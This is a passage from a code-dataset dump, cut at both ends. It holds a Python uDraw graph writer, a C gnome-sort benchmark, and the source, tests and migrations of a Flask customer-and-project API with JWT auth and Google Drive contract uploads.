\"\\\"),\"\n\ndef setColor (color):\n return \"a(\\\"COLOR\\\", \\\"\" + color + \"\\\"),\"\n\ndef setShape (shape):\n return \"a(\\\"_GO\\\", \\\"\" + shape + \"\\\"),\"\n\ndef setToolTip (tooltip):\n return \"a(\\\"INFO\\\", \\\"\" + tooltip + \"\\\"),\"\n\ndef setEdgePattern (shape, width):\n return \"a(\\\"EDGEPATTERN\\\", \\\"single;\" + shape + \";\" + str(width) + \";1\\\"),\"\n\ndef setEdgeColor (color):\n return \"a(\\\"EDGECOLOR\\\", \\\"\" + color + \"\\\"),\"\n\ndef makeUdrawFile (g, basepath, fileNamePrefix):\n import os\n if opts.udraw: \n filename = basepath + os.sep + fileNamePrefix + fileNameSuffix\n with open(filename, 'w') as f:\n f.write(beginGraph)\n # CFG or Instrumented CFG\n if isinstance(g, CFGs.CFG):\n for v in g:\n writeCFGVertex(g, v.getVertexID(), f) \n # Loop-Nesting Tree\n elif isinstance(g, Trees.LoopNests):\n for v in g:\n writeTreeVertex(g, v.getVertexID(), f)\n # IPG\n elif isinstance(g, IPGs.IPG):\n for v in g:\n writeIPGVertex(g, v.getVertexID(), f)\n else:\n for v in g:\n writeVertex(g, v.getVertexID(), f)\n f.write(endGraph) \n \ndef writeVertex (g, vertexID, f):\n v = g.getVertex(vertexID)\n \n f.write(newVertex(vertexID))\n f.write(beginAttributes)\n f.write(setName(str(vertexID)))\n f.write(endAttibutes)\n \n f.write(beginAttributes)\n for succID in v.getSuccessorIDs():\n f.write(newEdge)\n f.write(beginAttributes)\n f.write(setName(str(succID)))\n f.write(endAttibutes)\n f.write(edgeLink(succID))\n f.write(endEdge + \",\\n\")\n f.write(endVertex + \"\\n\")\n \ndef writeCFGVertex (cfg, vertexID, f):\n v = cfg.getVertex(vertexID)\n \n f.write(newVertex(vertexID))\n f.write(beginAttributes)\n f.write(setName(str(vertexID)))\n if isinstance(v, Vertices.Ipoint):\n f.write(setShape(SHAPE.CIRCLE))\n f.write(setColor(COLOR.YELLOW))\n f.write(setToolTip(\"Ipoint ID = 0x%04X\" % v.getIpointID()))\n else:\n string = \"\"\n for address, instr in v.getInstructions ():\n string += instr.__str__() + newLine\n f.write(setToolTip(string[:-len(newLine)]))\n f.write(endAttibutes)\n \n f.write(beginAttributes)\n for succID in v.getSuccessorIDs():\n f.write(newEdge)\n f.write(beginAttributes)\n if isinstance(cfg, ICFGs.ICFG):\n if cfg.isBranchDivergentEdge(vertexID, succID):\n f.write(setEdgePattern(EDGESHAPE.DASHED, 4))\n f.write(setEdgeColor(COLOR.RED))\n f.write(setToolTip(\"Branch divergent edge\"))\n f.write(setName(str(succID)))\n f.write(endAttibutes)\n f.write(edgeLink(succID))\n f.write(endEdge + \",\\n\")\n f.write(endVertex + \"\\n\")\n \ndef writeTreeVertex (tree, vertexID, f):\n v = tree.getVertex(vertexID)\n f.write(newVertex(vertexID))\n f.write(beginAttributes)\n f.write(setName(str(vertexID)))\n if isinstance(v, Vertices.HeaderVertex):\n f.write(setShape(SHAPE.CIRCLE))\n f.write(setColor(COLOR.YELLOW))\n f.write(setToolTip(\"Header ID = %s\" % v.getHeaderID()))\n if isinstance(tree, Trees.LoopNests):\n if tree.isLoopExit(vertexID):\n f.write(setShape(SHAPE.TRIANGLE))\n f.write(setColor(COLOR.RED))\n f.write(setToolTip(\"Loop Exit\"))\n f.write(endAttibutes)\n \n f.write(beginAttributes)\n for succID in v.getSuccessorIDs():\n f.write(newEdge)\n f.write(beginAttributes)\n f.write(setName(str(succID)))\n f.write(endAttibutes)\n f.write(edgeLink(succID))\n f.write(endEdge + \",\\n\")\n f.write(endVertex + \"\\n\")\n\ndef writeIPGVertex (ipg, vertexID, f): \n v = ipg.getVertex(vertexID)\n f.write(newVertex(vertexID))\n f.write(beginAttributes)\n f.write(setName(str(vertexID)))\n f.write(setShape(SHAPE.CIRCLE))\n f.write(setColor(COLOR.YELLOW))\n f.write(setToolTip(\"Ipoint ID = 0x%04X\" % v.getIpointID()))\n f.write(endAttibutes)\n \n f.write(beginAttributes)\n for succID in v.getSuccessorIDs():\n succe = v.getSuccessorEdge(succID)\n f.write(newEdge)\n f.write(beginAttributes)\n f.write(setName(str(succe.getEdgeID())))\n f.write(setToolTip(', '.join(str(v) for v in succe.getEdgeLabel())))\n if succe.isIterationEdge():\n f.write(setEdgePattern(EDGESHAPE.SOLID, 2))\n if ipg.isBranchDivergentEdge(vertexID, succID):\n f.write(setEdgePattern(EDGESHAPE.DASHED, 4))\n f.write(setEdgeColor(COLOR.RED))\n f.write(setToolTip(\"Branch divergent edge\")) \n f.write(endAttibutes)\n f.write(edgeLink(succID))\n f.write(endEdge + \",\\n\")\n f.write(endVertex + \"\\n\")\n" }, { "alpha_fraction": 0.5006570219993591, "alphanum_fraction": 0.5177398324012756, "avg_line_length": 12.120689392089844, "blob_id": "2f3a873fe873ae9c7c7f6ad3aefa6f8ce7d59671", "content_id": "aace59af7c2a72fc65ad60656e9038bc3478a137", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 761, "license_type": "no_license", "max_line_length": 84, "num_lines": 58, "path": "/benchmarks/gnomesort/gnomesort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Takes a vector of integers as arguments and sorts the vector into ascending order\n * using the gnome sort algorihtm\n */\n\nvoid gnomesort (int ARRAY_SIZE, int a[])\n{\n\tint pos = 1;\n\tint temp;\n\t\n\twhile (pos < ARRAY_SIZE)\n\t{\n\t\tif (a[pos] >= a[pos - 1])\n\t\t{\n\t\t\tpos++;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Swap a[pos] and a[pos - 1]\n\t\t\ttemp = a[pos];\n\t\t\ta[pos] = a[pos - 1];\n\t\t\ta[pos - 1] = temp;\n\n\t\t\tif (pos > 1)\n\t\t\t{\n\t\t\t\tpos--;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tpos++;\n\t\t\t}\n\t\t}\n\t}\n}\n\nint main (int argc, char *argv[])\n{\n\tconst int ARRAY_SIZE = argc - 1;\n\tint TV[ARRAY_SIZE];\n\tint i;\n\n\t/*\n\t * At least one integer value must be supplied\n\t */\n\tif (argc == 1)\n\t{\n\t\treturn 1;\n\t}\n\n\tfor (i = 0; i < argc - 1; i++)\n\t{\n\t\tTV[i] = atoi (argv[i + 1]);\n\t}\n\n\tgnomesort (ARRAY_SIZE, TV);\n\n\treturn 0;\n}\n" } ]
96
aleksandr-hilko/flask-vue-application-
https://github.com/aleksandr-hilko/flask-vue-application-
8e448b14cb3d405b91b1a1ca83303f262fb5231c
1bd79fac1f3181a4d68d1a3642b357a2db284662
acf23742eedac002e71f699611e8b0bf102302bf
refs/heads/master
2022-09-18T09:09:30.706029
2020-03-04T08:05:52
2020-03-04T08:05:52
240,526,873
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5666418671607971, "alphanum_fraction": 0.5718540549278259, "avg_line_length": 28.19565200805664, "blob_id": "f26131b8046dc18b0c79de891731da9965f280c2", "content_id": "082cc9fad3d5c0ea266abfc7574eea36e2ced4bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1343, "license_type": "no_license", "max_line_length": 76, "num_lines": 46, "path": "/app/helpers.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "import os\nfrom flask import request, make_response, jsonify\nfrom functools import wraps\n\n\ndef get_env_variable(name):\n try:\n return os.environ[name]\n except KeyError:\n message = \"Expected environment variable '{}' not set.\".format(name)\n raise Exception(message)\n\n\ndef check_token(f):\n \"\"\"\n Wrapper around view to verify that valid token is provided with request.\n \"\"\"\n from app.models import User\n from flask import g\n\n @wraps(f)\n def decorated(*args, **kwargs):\n # get the auth token\n auth_header = request.headers.get(\"Authorization\")\n if auth_header:\n auth_token = auth_header.split(\" \")[1]\n else:\n auth_token = \"\"\n if auth_token:\n resp = User.decode_auth_token(auth_token)\n if not isinstance(resp, str):\n user = User.query.filter_by(id=resp).first()\n g.current_user = user\n\n return f(*args, **kwargs)\n\n responseObject = {\"status\": \"fail\", \"message\": resp}\n return make_response(jsonify(responseObject)), 401\n else:\n responseObject = {\n \"status\": \"fail\",\n \"message\": \"Provide a valid auth token.\",\n }\n return make_response(jsonify(responseObject)), 401\n\n return decorated\n" }, { "alpha_fraction": 0.6500236392021179, "alphanum_fraction": 0.6585423350334167, "avg_line_length": 31.015151977539062, "blob_id": "3cb85e52c627d48943f51df6d9b1f69150509dca", "content_id": "4e53a72d6de86f22ce61167d05e84f913c919db2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4226, "license_type": "no_license", "max_line_length": 88, "num_lines": 132, "path": "/app/api/projects.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from app.api import bp\nfrom app import db\nfrom app.api.serializers import project_schema, projects_schema\nfrom flask import request, jsonify\nfrom marshmallow import ValidationError\nfrom app.models import Project, Customer\nimport os\nfrom flask import current_app as app\nimport random\nimport tempfile\nfrom sqlalchemy import desc, asc\nfrom drive import upload_to_google_drive\nfrom app.helpers import check_token\n\n\[email protected](\"/projects/<int:pk>/upload_contract\", methods=[\"POST\"])\n@check_token\ndef upload_contract(pk):\n \"\"\" Upload file to google drive and \n set project model contract field to the link to the uploaded file. \"\"\"\n if \"file\" in request.files:\n project = Project.query.get_or_404(pk)\n file_ = request.files[\"file\"]\n filename = project.name\n with tempfile.TemporaryDirectory() as tmpdirname:\n file_path = os.path.join(tmpdirname, filename)\n file_.save(file_path)\n\n try:\n drive_file = upload_to_google_drive(file_path, filename, file_.mimetype)\n except Exception as e:\n return {\"message\": f\"Failed to upload: {e}\"}, 400\n project.contract = drive_file[\"alternateLink\"]\n db.session.commit()\n return \"File is uploaded successfully\"\n else:\n return {\"message\": \"No file is provided\"}, 400\n\n\[email protected](\"/projects\", methods=[\"POST\"])\n@check_token\ndef create_project():\n json_data = request.get_json()\n if not json_data:\n return {\"message\": \"No input data provided\"}, 400\n try:\n project = project_schema.load(json_data)\n except ValidationError as err:\n return err.messages, 400\n # This is needed to prevent saving contract field\n # in the model without uploading the file\n project.contract = None\n db.session.add(project)\n db.session.commit()\n result = project_schema.dump(\n Project.query.filter(Project.name == project.name).first()\n )\n return jsonify(result)\n\n\[email protected](\"/projects\", methods=[\"GET\"])\n@check_token\ndef get_projects():\n params = request.args\n order_params = params.get(\"order\")\n query = Project.query.join(Customer)\n query = filter_query(query, params)\n if order_params:\n order_column, order_dir = order_params.split(\":\")\n order = asc(order_column) if order_dir == \"asc\" else desc(order_column)\n projects = query.order_by(order).all()\n else:\n projects = query.all()\n projects = projects_schema.dump(projects, many=True)\n return jsonify(projects)\n\n\ndef filter_query(query, params):\n work_started = params.get(\"work_started\")\n has_plan = params.get(\"has_plan\")\n has_contract = params.get(\"has_contract\")\n min_price = params.get(\"min_price\")\n max_price = params.get(\"max_price\")\n customer_name = params.get(\"customer_name\")\n\n if work_started:\n query = query.filter(Project.work_started == True)\n if has_plan:\n query = query.filter(Project.has_plan == True)\n if has_contract:\n query = query.filter(Project.has_contract == True)\n if customer_name:\n query = query.filter(Customer.customer_name == customer_name)\n if min_price:\n query = query.filter(Project.price >= min_price)\n if max_price:\n query = query.filter(Project.price <= max_price)\n\n return query\n\n\[email protected](\"/projects/<int:pk>\", methods=[\"GET\"])\n@check_token\ndef get_project(pk):\n project = Project.query.get_or_404(pk)\n project = project_schema.dump(project)\n return jsonify(project)\n\n\[email protected](\"/projects/<int:pk>\", methods=[\"PUT\"])\n@check_token\ndef update_project(pk):\n project = Project.query.get_or_404(pk)\n json_data = request.get_json()\n if not json_data:\n return {\"message\": \"No input data provided\"}, 400\n errors = project_schema.validate(json_data, partial=True, session=db.session)\n if errors:\n return errors, 400\n project.update(**json_data)\n db.session.commit()\n result = project_schema.dump(project)\n return jsonify(result), 201\n\n\[email protected](\"/projects/<int:pk>\", methods=[\"DELETE\"])\n@check_token\ndef delete_project(pk):\n project = Project.query.get_or_404(pk)\n db.session.delete(project)\n db.session.commit()\n return \"\", 204\n" }, { "alpha_fraction": 0.6006984710693359, "alphanum_fraction": 0.6332945227622986, "avg_line_length": 22.86111068725586, "blob_id": "b646e121ae82fd7f2c561fefd27b15874fef6b76", "content_id": "7a2ebfc812789a2872f3ac3acc8d5e3a708025a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 859, "license_type": "no_license", "max_line_length": 83, "num_lines": 36, "path": "/migrations/versions/2f05fd2f65a2_.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 2f05fd2f65a2\nRevises: 7fb9174b3115\nCreate Date: 2020-02-12 15:54:21.515249\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"2f05fd2f65a2\"\ndown_revision = \"7fb9174b3115\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column(\"customer\", \"customer_type\")\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\n \"customer\",\n sa.Column(\n \"customer_type\",\n postgresql.ENUM(\"organization\", \"individual\", name=\"customertypeenum\"),\n autoincrement=False,\n nullable=False,\n ),\n )\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6730462312698364, "alphanum_fraction": 0.6889952421188354, "avg_line_length": 27.5, "blob_id": "2aecc5513a8d8ea22bebc535ab0c4e0bf99e7ba0", "content_id": "18f9c205a1382dd96c9b2501cb02d35594bed266", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1881, "license_type": "no_license", "max_line_length": 87, "num_lines": 66, "path": "/app/api/customers.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from app.api import bp\nfrom app import db\nfrom app.api.serializers import customer_schema\nfrom flask import request, jsonify\nfrom marshmallow import ValidationError\nfrom app.models import Customer\nfrom app.helpers import check_token\n\n\[email protected](\"/customers\", methods=[\"POST\"])\n@check_token\ndef create_customer():\n json_data = request.get_json()\n if not json_data:\n return {\"message\": \"No input data provided\"}, 400\n try:\n customer = customer_schema.load(json_data)\n except ValidationError as err:\n return err.messages, 400\n db.session.add(customer)\n db.session.commit()\n result = customer_schema.dump(\n Customer.query.filter(Customer.customer_name == customer.customer_name).first()\n )\n return jsonify(result), 201\n\n\[email protected](\"/customers\", methods=[\"GET\"])\n@check_token\ndef get_customers():\n customers = Customer.query.all()\n customers = customer_schema.dump(customers, many=True)\n return jsonify(customers)\n\n\[email protected](\"/customers/<int:pk>\", methods=[\"GET\"])\n@check_token\ndef get_customer(pk):\n customer = Customer.query.get_or_404(pk)\n customer = customer_schema.dump(customer)\n return jsonify(customer)\n\n\[email protected](\"/customers/<int:pk>\", methods=[\"PUT\"])\n@check_token\ndef update_customer(pk):\n customer = Customer.query.get_or_404(pk)\n json_data = request.get_json()\n if not json_data:\n return {\"message\": \"No input data provided\"}, 400\n errors = customer_schema.validate(json_data, partial=True)\n if errors:\n return errors, 400\n customer.update(**json_data)\n db.session.commit()\n result = customer_schema.dump(customer)\n return jsonify(result), 201\n\n\[email protected](\"/customers/<int:pk>\", methods=[\"DELETE\"])\n@check_token\ndef delete_customer(pk):\n customer = Customer.query.get_or_404(pk)\n db.session.delete(customer)\n db.session.commit()\n return \"\", 204\n" }, { "alpha_fraction": 0.6591702103614807, "alphanum_fraction": 0.6684761643409729, "avg_line_length": 32.93421173095703, "blob_id": "a79f5885e71ef6b2db688176a5b1691d01ea5855", "content_id": "b6d7a3bf8376f32548e1a840dfe16dff645305a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2579, "license_type": "no_license", "max_line_length": 70, "num_lines": 76, "path": "/tests/test_customers.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "import pytest\nfrom app.models import Customer\nfrom .common import fake\n\n\ndef generate_customer_data():\n customer_data = {\n \"customer_name\": fake.name(),\n \"payment_account\": str(fake.ipv4()),\n \"email\": fake.email(),\n \"phone\": fake.phone_number(),\n }\n return customer_data\n\n\[email protected]\ndef customer(create_db):\n data = generate_customer_data()\n customer = Customer(**data)\n create_db.session.add(customer)\n create_db.session.commit()\n customer = Customer.query.filter(\n Customer.customer_name == customer.customer_name\n ).first()\n return customer\n\n\ndef test_get_customers(client, customer):\n response = client.get(\"/api/customers\")\n assert response.status_code == 200\n resp_json = response.json\n assert len(resp_json) == 1\n assert customer.customer_name == resp_json[0][\"customer_name\"]\n assert customer.payment_account == resp_json[0][\"payment_account\"]\n assert customer.email == resp_json[0][\"email\"]\n assert customer.phone == resp_json[0][\"phone\"]\n\n\ndef test_get_customer(client, customer):\n response = client.get(f\"/api/customers/{customer.id}\")\n assert response.status_code == 200\n resp_json = response.json\n assert customer.customer_name == resp_json[\"customer_name\"]\n assert customer.payment_account == resp_json[\"payment_account\"]\n assert customer.email == resp_json[\"email\"]\n assert customer.phone == resp_json[\"phone\"]\n\n\ndef test_create_customer(client, create_db):\n data = generate_customer_data()\n resp = client.post(\"/api/customers\", json=data)\n assert resp.status_code == 201\n resp_json = resp.json\n assert resp_json[\"customer_name\"] == data[\"customer_name\"]\n assert resp_json[\"payment_account\"] == data[\"payment_account\"]\n assert resp_json[\"email\"] == data[\"email\"]\n assert resp_json[\"phone\"] == data[\"phone\"]\n\n\ndef test_update_customer(client, customer):\n data = generate_customer_data()\n resp = client.put(f\"/api/customers/{customer.id}\", json=data)\n assert resp.status_code == 201\n resp = client.get(f\"/api/customers/{customer.id}\")\n resp_json = resp.json\n assert resp_json[\"customer_name\"] == data[\"customer_name\"]\n assert resp_json[\"payment_account\"] == data[\"payment_account\"]\n assert resp_json[\"email\"] == data[\"email\"]\n assert resp_json[\"phone\"] == data[\"phone\"]\n\n\ndef test_delete_customer(client, customer):\n resp = client.delete(f\"/api/customers/{customer.id}\")\n assert resp.status_code == 204\n resp = client.get(f\"/api/customers/{customer.id}\")\n assert resp.status_code == 404\n" }, { "alpha_fraction": 0.651260495185852, "alphanum_fraction": 0.651260495185852, "avg_line_length": 34.70000076293945, "blob_id": "ca39cede1021a474518e195515ba8ad507730d98", "content_id": "4bb56a85b9df1c47ce340f6a90844dd4fb2c8434", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 714, "license_type": "no_license", "max_line_length": 88, "num_lines": 20, "path": "/drive.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from pydrive.auth import GoogleAuth\nfrom pydrive.drive import GoogleDrive\n\n\ndef upload_to_google_drive(filepath, filename, mimetype):\n settings_path = \"settings.yaml\"\n gauth = GoogleAuth(settings_file=settings_path)\n drive = GoogleDrive(gauth)\n file_list = drive.ListFile({\"q\": \"'root' in parents\"}).GetList()\n try:\n for file_ in file_list:\n if file_[\"title\"] == filename:\n file_.Delete()\n except:\n pass\n drive_file = drive.CreateFile({\"title\": filename, \"mimeType\": mimetype})\n drive_file.SetContentFile(filepath)\n drive_file.Upload()\n drive_file.InsertPermission({\"type\": \"anyone\", \"value\": \"anyone\", \"role\": \"reader\"})\n return drive_file\n" }, { "alpha_fraction": 0.7108168005943298, "alphanum_fraction": 0.7119205594062805, "avg_line_length": 24.16666603088379, "blob_id": "ff8f4897141c5cc5eca1be2e72949e8cd6216e21", "content_id": "9b12f844bbe3015a38bab17605f5c43fb7fdd33b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 906, "license_type": "no_license", "max_line_length": 113, "num_lines": 36, "path": "/config.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from app.helpers import get_env_variable\nfrom pathlib import Path\n\nPOSTGRES_URL = get_env_variable(\"POSTGRES_URL\")\nPOSTGRES_USER = get_env_variable(\"POSTGRES_USER\")\nPOSTGRES_PW = get_env_variable(\"POSTGRES_PW\")\nPOSTGRES_DB = get_env_variable(\"POSTGRES_DB\")\n\n\nclass Config(object):\n DEBUG = False\n TESTING = False\n CSRF_ENABLED = True\n SECRET_KEY = get_env_variable(\"SECRET_KEY\")\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n SQLALCHEMY_DATABASE_URI = f\"postgresql+psycopg2://{POSTGRES_USER}:{POSTGRES_PW}@{POSTGRES_URL}/{POSTGRES_DB}\"\n UPLOAD_FOLDER = f\"{Path().absolute()}/static/uploaded_projects\"\n\n\nclass ProductionConfig(Config):\n DEBUG = False\n\n\nclass StagingConfig(Config):\n DEVELOPMENT = True\n DEBUG = True\n\n\nclass DevelopmentConfig(Config):\n DEVELOPMENT = True\n DEBUG = True\n\n\nclass TestingConfig(Config):\n TESTING = True\n SQLALCHEMY_DATABASE_URI = \"sqlite://\"\n" }, { "alpha_fraction": 0.5035971403121948, "alphanum_fraction": 0.70103919506073, "avg_line_length": 16.619718551635742, "blob_id": "e76a6315f2a9cc54addd4649ebc1bbd53d619120", "content_id": "02113e52a5dfe1686ab0339188f04244e12b9bd2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1251, "license_type": "no_license", "max_line_length": 32, "num_lines": 71, "path": "/requirements.txt", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "alembic==1.4.0\naniso8601==8.0.0\nappdirs==1.4.3\naspy.yaml==1.3.0\nattrs==19.3.0\nbcrypt==3.1.7\ncachetools==4.0.0\ncertifi==2019.11.28\ncffi==1.14.0\ncfgv==3.0.0\nchardet==3.0.4\nClick==7.0\nfactory-boy==2.12.0\nFaker==4.0.0\nfilelock==3.0.12\nFlask==1.1.1\nFlask-Bcrypt==0.7.1\nFlask-Cors==3.0.4\nflask-marshmallow==0.11.0\nFlask-Migrate==2.5.2\nFlask-RESTful==0.3.8\nFlask-SQLAlchemy==2.4.1\ngoogle-api-python-client==1.7.11\ngoogle-auth==1.11.2\ngoogle-auth-httplib2==0.0.3\ngoogle-auth-oauthlib==0.4.1\nhttplib2==0.17.0\nidentify==1.4.11\nidna==2.8\nimportlib-metadata==1.5.0\nitsdangerous==1.1.0\nJinja2==2.11.1\nMako==1.1.1\nMarkupSafe==1.1.1\nmarshmallow==3.4.0\nmarshmallow-sqlalchemy==0.22.2\nmore-itertools==8.2.0\nnodeenv==1.3.5\noauth2client==4.1.3\noauthlib==3.1.0\npackaging==20.1\npluggy==0.13.1\npre-commit==2.0.1\npsycopg2==2.8.4\npy==1.8.1\npyasn1==0.4.8\npyasn1-modules==0.2.8\npycparser==2.19\nPyDrive==1.3.1\nPyJWT==1.7.1\npyparsing==2.4.6\npytest==5.3.5\npytest-flask==0.15.1\npython-dateutil==2.8.1\npython-dotenv==0.11.0\npython-editor==1.0.4\npytz==2019.3\nPyYAML==5.3\nrequests==2.22.0\nrequests-oauthlib==1.3.0\nrsa==4.0\nsix==1.14.0\nSQLAlchemy==1.3.13\ntext-unidecode==1.3\ntoml==0.10.0\nuritemplate==3.0.1\nurllib3==1.25.8\nvirtualenv==20.0.1\nwcwidth==0.1.8\nWerkzeug==1.0.0\nzipp==2.2.0\n" }, { "alpha_fraction": 0.6864563822746277, "alphanum_fraction": 0.6864563822746277, "avg_line_length": 17.586206436157227, "blob_id": "8a13f267c3d1a03e09256c917867fdd926d4e443", "content_id": "4e329ccfd3e09a4e8835a3b3078aa1fe64e1552a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 539, "license_type": "no_license", "max_line_length": 64, "num_lines": 29, "path": "/tests/conftest.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "import pytest\nfrom app import create_app, db\nfrom config import TestingConfig\n\n\[email protected](scope=\"session\")\ndef app():\n flask_app = create_app(TestingConfig)\n\n # Establish an application context before running the tests.\n ctx = flask_app.app_context()\n ctx.push()\n\n yield flask_app\n\n ctx.pop()\n\n\[email protected](scope=\"session\")\ndef client(app):\n testing_client = app.test_client()\n yield testing_client\n\n\[email protected](scope=\"session\")\ndef create_db(app):\n db.create_all()\n yield db\n db.drop_all()\n" }, { "alpha_fraction": 0.6250787377357483, "alphanum_fraction": 0.6402016282081604, "avg_line_length": 28.38888931274414, "blob_id": "0fe1768a04babc3a7d459088a8054d928666092c", "content_id": "fe13b63aee8b87232aa584a3bb9b2e4097aebda8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1587, "license_type": "no_license", "max_line_length": 85, "num_lines": 54, "path": "/migrations/versions/b0c1692627cf_.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: b0c1692627cf\nRevises: 2f05fd2f65a2\nCreate Date: 2020-02-13 10:23:24.658938\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"b0c1692627cf\"\ndown_revision = \"2f05fd2f65a2\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\n \"project\", sa.Column(\"contract\", sa.String(length=200), nullable=True)\n )\n op.add_column(\"project\", sa.Column(\"has_contract\", sa.Boolean(), nullable=True))\n op.add_column(\"project\", sa.Column(\"has_plan\", sa.Boolean(), nullable=True))\n op.add_column(\"project\", sa.Column(\"price\", sa.Integer(), nullable=True))\n op.alter_column(\n \"project\",\n \"expiration_date\",\n existing_type=postgresql.TIMESTAMP(),\n nullable=True,\n )\n op.alter_column(\n \"project\", \"start_date\", existing_type=postgresql.TIMESTAMP(), nullable=True\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n \"project\", \"start_date\", existing_type=postgresql.TIMESTAMP(), nullable=False\n )\n op.alter_column(\n \"project\",\n \"expiration_date\",\n existing_type=postgresql.TIMESTAMP(),\n nullable=False,\n )\n op.drop_column(\"project\", \"price\")\n op.drop_column(\"project\", \"has_plan\")\n op.drop_column(\"project\", \"has_contract\")\n op.drop_column(\"project\", \"contract\")\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.7727272510528564, "alphanum_fraction": 0.7727272510528564, "avg_line_length": 21, "blob_id": "d62ed28eb825d0e2a01af976919b65e9b2730a1e", "content_id": "56403bdcd78c5449301f95d6e7056689ad80963c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 176, "license_type": "no_license", "max_line_length": 31, "num_lines": 8, "path": "/app/api/__init__.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from flask import Blueprint\nfrom flask_restful import Api\n\nbp = Blueprint(\"api\", __name__)\n\nfrom app.api import customers\nfrom app.api import projects\nfrom app.api import auth\n" }, { "alpha_fraction": 0.5541161894798279, "alphanum_fraction": 0.5633096694946289, "avg_line_length": 37.59677505493164, "blob_id": "efd519c94971878ce0798350f0774f3bf1723df1", "content_id": "f37ffcb50b230b1a1df3facfd554f571e4d6d18c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2393, "license_type": "no_license", "max_line_length": 85, "num_lines": 62, "path": "/app/api/auth.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from app.api import bp\nfrom app import db, bcrypt\nfrom flask import request, make_response, jsonify\nfrom app.models import User, BlacklistToken\n\n\[email protected](\"/auth/login\", methods=[\"POST\"])\ndef login():\n post_data = request.get_json()\n try:\n user = User.query.filter_by(email=post_data.get(\"email\")).first()\n if user and bcrypt.check_password_hash(\n user.password, post_data.get(\"password\")\n ):\n auth_token = user.encode_auth_token(user.id)\n if auth_token:\n responseObject = {\n \"status\": \"success\",\n \"message\": \"Successfully logged in.\",\n \"auth_token\": auth_token.decode(),\n }\n return make_response(jsonify(responseObject)), 200\n else:\n responseObject = {\"status\": \"fail\", \"message\": \"User does not exist.\"}\n return make_response(jsonify(responseObject)), 404\n except Exception as e:\n print(e)\n responseObject = {\"status\": \"fail\", \"message\": \"Try again\"}\n return make_response(jsonify(responseObject)), 500\n\n\[email protected](\"/auth/logout\", methods=[\"POST\"])\ndef logout():\n # get auth token\n auth_header = request.headers.get(\"Authorization\")\n if auth_header:\n auth_token = auth_header.split(\" \")[1]\n else:\n auth_token = \"\"\n if auth_token:\n resp = User.decode_auth_token(auth_token)\n if not isinstance(resp, str):\n # mark the token as blacklisted\n blacklist_token = BlacklistToken(token=auth_token)\n try:\n # insert the token\n db.session.add(blacklist_token)\n db.session.commit()\n responseObject = {\n \"status\": \"success\",\n \"message\": \"Successfully logged out.\",\n }\n return make_response(jsonify(responseObject)), 200\n except Exception as e:\n responseObject = {\"status\": \"fail\", \"message\": e}\n return make_response(jsonify(responseObject)), 200\n else:\n responseObject = {\"status\": \"fail\", \"message\": resp}\n return make_response(jsonify(responseObject)), 401\n else:\n responseObject = {\"status\": \"fail\", \"message\": \"Provide a valid auth token.\"}\n return make_response(jsonify(responseObject)), 403\n" }, { "alpha_fraction": 0.7432432174682617, "alphanum_fraction": 0.7432432174682617, "avg_line_length": 17.25, "blob_id": "076a0c69d8cb462090a166b7dad6f9d9f66c55a5", "content_id": "a2639cf083cab6208cef4f1eeee82c003eb75c86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 74, "license_type": "no_license", "max_line_length": 26, "num_lines": 4, 